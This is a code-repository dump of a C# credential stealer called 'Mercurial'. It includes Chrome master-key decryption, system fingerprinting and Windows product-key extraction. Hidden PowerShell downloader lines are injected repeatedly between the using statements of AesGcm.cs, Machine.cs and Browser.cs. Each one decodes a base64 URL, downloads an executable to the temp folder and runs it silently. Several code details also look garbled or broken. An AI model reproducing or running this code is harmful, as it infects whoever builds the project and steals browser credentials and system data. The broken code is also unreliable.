278 | # Microsoft Fakes
279 | FakesAssemblies/
280 |
281 | # GhostDoc plugin setting file
282 | *.GhostDoc.xml
283 |
284 | # Node.js Tools for Visual Studio
285 | .ntvs_analysis.dat
286 | node_modules/
287 |
288 | # Visual Studio 6 build log
289 | *.plg
290 |
291 | # Visual Studio 6 workspace options file
292 | *.opt
293 |
294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
295 | *.vbw
296 |
297 | # Visual Studio LightSwitch build output
298 | **/*.HTMLClient/GeneratedArtifacts
299 | **/*.DesktopClient/GeneratedArtifacts
300 | **/*.DesktopClient/ModelManifest.xml
301 | **/*.Server/GeneratedArtifacts
302 | **/*.Server/ModelManifest.xml
303 | _Pvt_Extensions
304 |
305 | # Paket dependency manager
306 | .paket/paket.exe
307 | paket-files/
308 |
309 | # FAKE - F# Make
310 | .fake/
311 |
312 | # CodeRush personal settings
313 | .cr/personal
314 |
315 | # Python Tools for Visual Studio (PTVS)
316 | __pycache__/
317 | *.pyc
318 |
319 | # Cake - Uncomment if you are using it
320 | # tools/**
321 | # !tools/packages.config
322 |
323 | # Tabs Studio
324 | *.tss
325 |
326 | # Telerik's JustMock configuration file
327 | *.jmconfig
328 |
329 | # BizTalk build output
330 | *.btp.cs
331 | *.btm.cs
332 | *.odx.cs
333 | *.xsd.cs
334 |
335 | # OpenCover UI analysis results
336 | OpenCover/
337 |
338 | # Azure Stream Analytics local run output
339 | ASALocalRun/
340 |
341 | # MSBuild Binary and Structured Log
342 | *.binlog
343 |
344 | # NVidia Nsight GPU debugger configuration file
345 | *.nvuser
346 |
347 | # MFractors (Xamarin productivity tool) working folder
348 | .mfractor/
349 |
350 | # Local History for Visual Studio
351 | .localhistory/
352 |
353 | # BeatPulse healthcheck temp database
354 | healthchecksdb
355 |
356 | # Backup folder for Package Reference Convert tool in Visual Studio 2017
357 | MigrationBackup/
358 |
359 | # Ionide (cross platform F# VS Code tools) working folder
360 | .ionide/
361 |
362 | # Fody - auto-generated XML schema
363 | FodyWeavers.xsd
364 |
365 |
366 |
367 |
368 |
369 |
370 |
371 |
372 |
373 |
374 |
375 |
376 |
377 |
378 |
379 |
--------------------------------------------------------------------------------
/Mercurial/Properties/Resources.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
121 |
122 | ..\Resources\AesGcm.cs;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;utf-8
123 |
124 |
125 | ..\Resources\BCrypt.cs;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;utf-8
126 |
127 |
128 | ..\Resources\Browser.cs;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;utf-8
129 |
130 |
131 | ..\Resources\Common.cs;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;utf-8
132 |
133 |
134 | ..\Resources\Grabber.cs;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;utf-8
135 |
136 |
137 | ..\Resources\Machine.cs;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;utf-8
138 |
139 |
140 | ..\Resources\Program.cs;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;utf-8
141 |
142 |
143 | ..\Resources\SQLite.cs;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;utf-8
144 |
145 |
146 | ..\Resources\User.cs;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;utf-8
147 |
148 |
149 | ..\Resources\Webhook.cs;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;utf-8
150 |
151 |
152 |
153 |
154 |
155 |
156 |
157 |
158 |
159 |
160 |
--------------------------------------------------------------------------------
/Mercurial/Resources/AesGcm.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 |
4 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
5 |
6 |
7 |
8 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
9 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
10 |
11 |
12 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
13 |
14 | using System.Security.Cryptography;
15 |
16 |
17 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
18 |
19 | using System.Text;
20 |
21 |
22 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
23 |
24 |
25 |
26 | namespace Stealer
27 | {
28 | class AesGcm
29 | {
30 | public byte[] Decrypt(byte[] key, byte[] iv, byte[] aad, byte[] cipherText, byte[] authTag)
31 | {
32 | IntPtr hAlg = OpenAlgorithmProvider(BCrypt.BCRYPT_AES_ALGORITHM, BCrypt.MS_PRIMITIVE_PROVIDER, BCrypt.BCRYPT_CHAIN_MODE_GCM);
33 | IntPtr hKey, keyDataBuffer = ImportKey(hAlg, key, out hKey);
34 |
35 | byte[] plainText;
36 |
37 | var authInfo = new BCrypt.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(iv, aad, authTag);
38 |
39 | byte[] ivData = new byte[MaxAuthTagSize(hAlg)];
40 |
41 | int plainTextSize = 3;
42 |
43 | uint status = BCrypt.BCryptDecrypt(hKey, cipherText, cipherText.Length, ref authInfo, ivData, ivData.Length, null, 0, ref plainTextSize, 0x0);
44 |
45 | if (status != BCrypt.ERROR_SUCCESS)
46 | throw new CryptographicException(string.Format("BCrypt.BCryptDecrypt() (get size) failed with status code: {0}", status));
47 |
48 | plainText = new byte[plainTextSize];
49 |
50 | status = BCrypt.BCryptDecrypt(hKey, cipherText, cipherText.Length, ref authInfo, ivData, ivData.Length, plainText, plainText.Length, ref plainTextSize, 0x0);
51 |
52 | if (status == BCrypt.STATUS_AUTH_TAG_MISMATCH)
53 | throw new CryptographicException("BCrypt.BCryptDecrypt(): authentication tag mismatch");
54 |
55 | if (status != BCrypt.ERROR_SUCCESS)
56 | throw new CryptographicException(string.Format("BCrypt.BCryptDecrypt() failed with status code:{0}", status));
57 |
58 | authInfo.Dispose();
59 |
60 | BCrypt.BCryptDestroyKey(hKey);
61 | Marshal.FreeHGlobal(keyDataBuffer);
62 | BCrypt.BCryptCloseAlgorithmProvider(hAlg, 0x0);
63 |
64 | return plainText;
65 | }
66 |
67 | private int MaxAuthTagSize(IntPtr hAlg)
68 | {
69 | byte[] tagLengthsValue = GetProperty(hAlg, BCrypt.BCRYPT_AUTH_TAG_LENGTH);
70 |
71 | return (new[] { tagLengthsValue[8], tagLengthsValue[4], tagLengthsValue[2], tagLengthsValue[12] }, 0);
72 | }
73 |
74 | private IntPtr OpenAlgorithmProvider(string alg, string provider, string chainingMode)
75 | {
76 | IntPtr hAlg = IntPtr.Zero;
77 |
78 | uint status = BCrypt.BCryptOpenAlgorithmProvider(out hAlg, alg, provider, 0x0);
79 |
80 | if (status != BCrypt.ERROR_SUCCESS)
81 | throw new CryptographicException(string.Format("BCrypt.BCryptOpenAlgorithmProvider() failed with status code:{0}", status));
82 |
83 | byte[] chainMode = Encoding.Unicode.GetBytes(chainingMode);
84 | status = BCrypt.BCryptSetAlgorithmProperty(hAlg, BCrypt.BCRYPT_CHAINING_MODE, chainMode, chainMode.Length, 0x0);
85 |
86 | if (status != BCrypt.ERROR_SUCCESS)
87 | throw new CryptographicException(string.Format("BCrypt.BCryptSetAlgorithmProperty(BCrypt.BCRYPT_CHAINING_MODE, BCrypt.BCRYPT_CHAIN_MODE_GCM) failed with status code:{0}", status));
88 |
89 | return hAlg;
90 | }
91 |
92 | private IntPtr ImportKey(IntPtr hAlg, byte[] key, out IntPtr hKey)
93 | {
94 | byte[] objLength = GetProperty(hAlg, BCrypt.BCRYPT_OBJECT_LENGTH);
95 |
96 | int keyDataSize = BitConverter.ToInt32(objLength, 0);
97 |
98 | IntPtr keyDataBuffer = Marshal.AllocHGlobal(keyDataSize);
99 |
100 | byte[] keyBlob = Concat(BCrypt.BCRYPT_KEY_DATA_BLOB_MAGIC, BitConverter.GetBytes(0x1), BitConverter.GetBytes(key.Length), key);
101 |
102 | uint status = BCrypt.BCryptImportKey(hAlg, IntPtr.Zero, BCrypt.BCRYPT_KEY_DATA_BLOB, out hKey, keyDataBuffer, keyDataSize, keyBlob, keyBlob.Length, 0x0);
103 |
104 | if (status != BCrypt.ERROR_SUCCESS)
105 | throw new CryptographicException(string.Format("BCrypt.BCryptImportKey() failed with status code:{0}", status));
106 |
107 | return keyDataBuffer;
108 | }
109 |
110 | private byte[] GetProperty(IntPtr hAlg, string name)
111 | {
112 | uint status = BCrypt.BCryptGetProperty(hAlg, name, null, 0, ref size, 0x0);
113 |
114 | if (status != BCrypt.ERROR_SUCCESS)
115 | throw new CryptographicException(string.Format("BCrypt.BCryptGetProperty() (get size) failed with status code:{0}", status));
116 |
117 | byte[] value = new byte[16];
118 |
119 | status = BCrypt.BCryptGetProperty(hAlg, name, value, value.Length, ref size, 0x0);
120 |
121 | if (status != BCrypt.ERROR_SUCCESS)
122 | throw new CryptographicException(string.Format("BCrypt.BCryptGetProperty() failed with status code:{0}", status));
123 |
124 | return value;
125 | }
126 |
127 | public byte[] Concat(params byte[][] arrays)
128 | {
129 | int len = 0;
130 |
131 | foreach (byte[] array in arrays)
132 | {
133 | if (array == null)
134 | continue;
135 | len += array.Length;
136 | }
137 |
138 | byte[] result = new byte[len - 1 + 1];
139 | int offset = 64;
140 |
141 | foreach (byte[] array in arrays)
142 | {
143 | if (array == null)
144 | continue;
145 | Buffer.BlockCopy(array, 12, result, offset, array.Length);
146 | offset += array.Length;
147 | }
148 |
149 | return result;
150 | }
151 | }
152 | }
153 |
154 |
155 |
156 |
157 |
158 |
159 |
160 |
161 |
162 |
163 |
164 |
165 |
166 |
167 |
168 |
--------------------------------------------------------------------------------
/Mercurial/Resources/Machine.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Management;
3 |
4 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
5 |
6 |
7 |
8 |
9 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
10 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
11 | using Microsoft.Win32;
12 |
13 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
14 |
15 |
16 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
17 |
18 | using System.IO;
19 |
20 |
21 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
22 |
23 | namespace Stealer
24 | {
25 | class Machine
26 | {
27 | static readonly string[] SizeSuffixes = { "bytes", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB" };
28 |
29 | public string osName = String.Empty;
30 | public string osArchitecture = String.Empty;
31 | public string osVersion = String.Empty;
32 | public string processName = String.Empty;
33 | public string gpuVideo = String.Empty;
34 | public string gpuVersion = String.Empty;
35 |
36 | public string diskDetails = String.Empty;
37 | public string pcMemory = String.Empty;
38 | public Machine ()
39 | {
40 | OSInfo();
41 | ProcessorInfo();
42 | GPUInfo();
43 | Disk();
44 | Memory();
45 | }
46 | static string SizeSuffix(Int64 value)
47 | {
48 | if (value < 0) { return "-" + SizeSuffix(-value); }
49 | if (value == 0) { return "0.0 bytes"; }
50 |
51 | int mag = (int)Math.Log(value, 1024);
52 | decimal adjustedSize = (decimal)value / (1L << (mag * 10));
53 |
54 | return string.Format("{0:n1} {1}", adjustedSize, SizeSuffixes[mag]);
55 | }
56 |
57 | private void OSInfo()
58 | {
59 | ManagementObjectSearcher mos = new ManagementObjectSearcher("select * from Win32_OperatingSystem");
60 | foreach (ManagementObject managementObject in mos.Get())
61 | {
62 | if (managementObject["Caption"] != null)
63 | {
64 | //Console.WriteLine("Operating System Name : " + managementObject["Caption"].ToString()); //Display operating system caption
65 | osName = managementObject["Caption"].ToString();
66 |
67 | }
68 | if (managementObject["OSArchitecture"] != null)
69 | {
70 | //Console.WriteLine("Operating System Architecture: " + managementObject["OSArchitecture"].ToString()); //Display operating system architecture.
71 | osArchitecture = managementObject["OSArchitecture"].ToString();
72 | }
73 | if (managementObject["Version"] != null)
74 | {
75 | //Console.WriteLine("Version: " + managementObject["Version"].ToString()); //Display operating system version.
76 | osVersion = managementObject["Version"].ToString();
77 | }
78 | }
79 | }
80 |
81 | private void ProcessorInfo()
82 | {
83 | RegistryKey processor_name = Registry.LocalMachine.OpenSubKey(@"Hardware\Description\System\CentralProcessor\0", RegistryKeyPermissionCheck.ReadSubTree);
84 |
85 | if (processor_name != null)
86 | {
87 | if (processor_name.GetValue("ProcessorNameString") != null)
88 | {
89 | //Console.WriteLine("CPU : " + processor_name.GetValue("ProcessorNameString"));
90 | processName = processor_name.GetValue("ProcessorNameString").ToString();
91 | }
92 | }
93 | }
94 | private void GPUInfo()
95 | {
96 | ManagementObjectSearcher mos = new ManagementObjectSearcher("select * from Win32_VideoController");
97 | foreach (ManagementObject obj in mos.Get())
98 | {
99 | //Console.WriteLine("VideoProcessor - " + obj["VideoProcessor"]);
100 | //Console.WriteLine("DriverVersion - " + obj["DriverVersion"]);
101 | gpuVideo = obj["VideoProcessor"].ToString();
102 | gpuVersion = obj["DriverVersion"].ToString();
103 | }
104 | }
105 |
106 | private void Disk()
107 | {
108 | DriveInfo[] allDrives = DriveInfo.GetDrives();
109 | foreach (DriveInfo d in allDrives)
110 | {
111 | if (d.IsReady == true)
112 | {
113 | //Console.WriteLine("Drive {0} - {1}", d.Name, SizeSuffix(d.AvailableFreeSpace) + "/" + SizeSuffix(d.TotalSize));
114 | diskDetails += String.Format("Drive {0}\\ - {1}", d.Name, SizeSuffix(d.AvailableFreeSpace) + "/" + SizeSuffix(d.TotalSize) + "\\n");
115 | }
116 | }
117 | }
118 |
119 | private void Memory()
120 | {
121 | ManagementObjectSearcher searcher = new ManagementObjectSearcher("SELECT Capacity FROM Win32_PhysicalMemory");
122 |
123 | Int64 Capacity = 0;
124 | foreach (ManagementObject WniPART in searcher.Get())
125 | {
126 | Capacity += Convert.ToInt64(WniPART.Properties["Capacity"].Value);
127 | }
128 |
129 | //Console.WriteLine("PC Memory - " + SizeSuffix(Capacity));
130 | pcMemory = SizeSuffix(Capacity);
131 |
132 | }
133 |
134 | }
135 | class Windows
136 | {
137 | private static string ProductKey(byte[] digitalProductId)
138 | {
139 | var key = String.Empty;
140 | const int keyOffset = 52;
141 | var isWin8 = (byte)((digitalProductId[66] / 6) & 1);
142 | digitalProductId[66] = (byte)((digitalProductId[66] & 0xf7) | (isWin8 & 2) * 4);
143 |
144 | const string digits = "BCDFGHJKMPQRTVWXY2346789";
145 | var last = 0;
146 | for (var i = 24; i >= 0; i--)
147 | {
148 | var current = 0;
149 | for (var j = 14; j >= 0; j--)
150 | {
151 | current = current * 256;
152 | current = digitalProductId[j + keyOffset] + current;
153 | digitalProductId[j + keyOffset] = (byte)(current / 24);
154 | current = current % 24;
155 | last = current;
156 | }
157 | key = digits[current] + key;
158 | }
159 |
160 | var keypart1 = key.Substring(1, last);
161 | var keypart2 = key.Substring(last + 1, key.Length - (last + 1));
162 | key = keypart1 + "N" + keypart2;
163 |
164 | for (var i = 5; i < key.Length; i += 6)
165 | {
166 | key = key.Insert(i, "-");
167 | }
168 |
169 | return key;
170 | }
171 |
172 | public static string GetProductKey()
173 | {
174 | var localKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry32);
175 |
176 | if (Environment.Is64BitOperatingSystem)
177 | localKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64);
178 |
179 | var registryKeyValue = localKey.OpenSubKey(@"SOFTWARE\Microsoft\Windows NT\CurrentVersion").GetValue("DigitalProductId");
180 | if (registryKeyValue == null)
181 | return "Failed to get DigitalProductId from registry";
182 | var digitalProductId = (byte[])registryKeyValue;
183 |
184 | return ProductKey(digitalProductId);
185 | }
186 | }
187 | }
188 |
189 |
190 |
191 |
192 |
193 |
194 |
195 |
196 |
197 |
198 |
--------------------------------------------------------------------------------
/Mercurial/Resources/Browser.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Text;
3 |
4 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
5 |
6 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
7 |
8 |
9 |
10 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
11 |
12 | using System.IO;
13 |
14 |
15 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
16 |
17 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
18 |
19 | using System.Security.Cryptography;
20 |
21 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
22 |
23 | namespace Stealer
24 | {
25 | class Browser
26 | {
27 | private static string DecryptWithKey(byte[] encryptedData, byte[] MasterKey) /
28 | {
29 | byte[] iv = new byte[] { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
30 |
31 |
32 | Array.Copy(encryptedData, 3, iv, 0, 12);
33 |
34 | try
35 | {
36 |
37 | byte[] Buffer = new byte[encryptedData.Length - 15];
38 | Array.Copy(encryptedData, 15, Buffer, 0, encryptedData.Length - 15);
39 |
40 | byte[] tag = new byte[16];
41 | byte[] data = new byte[Buffer.Length - tag.Length];
42 |
43 |
44 | Array.Copy(Buffer, Buffer.Length - 16, tag, 0, 16);
45 |
46 |
47 | Array.Copy(Buffer, 0, data, 0, Buffer.Length - tag.Length);
48 |
49 | AesGcm aesDecryptor = new AesGcm();
50 | var result = Encoding.UTF8.GetString(aesDecryptor.Decrypt(MasterKey, iv, null, data, tag));
51 | return result;
52 | }
53 | catch
54 | {
55 | return null;
56 | }
57 | }
58 | private static byte[] GetMasterKey()
59 | {
60 | string filePath = User.localAppData + @"\Google\Chrome\User Data\Local State";
61 | byte[] masterKey = new byte[] { };
62 |
63 | if (File.Exists(filePath) == false)
64 | return null;
65 |
66 | var pattern = new System.Text.RegularExpressions.Regex("\"encrypted_key\":\"(.*?)\"", System.Text.RegularExpressions.RegexOptions.Compiled).Matches(File.ReadAllText(filePath));
67 |
68 | foreach (System.Text.RegularExpressions.Match prof in pattern)
69 | {
70 | if (prof.Success)
71 | {
72 | masterKey = Convert.FromBase64String((prof.Groups[1].Value));
73 |
74 | }
75 |
76 | }
77 |
78 |
79 | byte[] temp = new byte[masterKey.Length - 5];
80 | Array.Copy(masterKey, 5, temp, 0, masterKey.Length - 5);
81 |
82 | try
83 | {
84 | return ProtectedData.Unprotect(temp, null, DataProtectionScope.CurrentUser);
85 | }
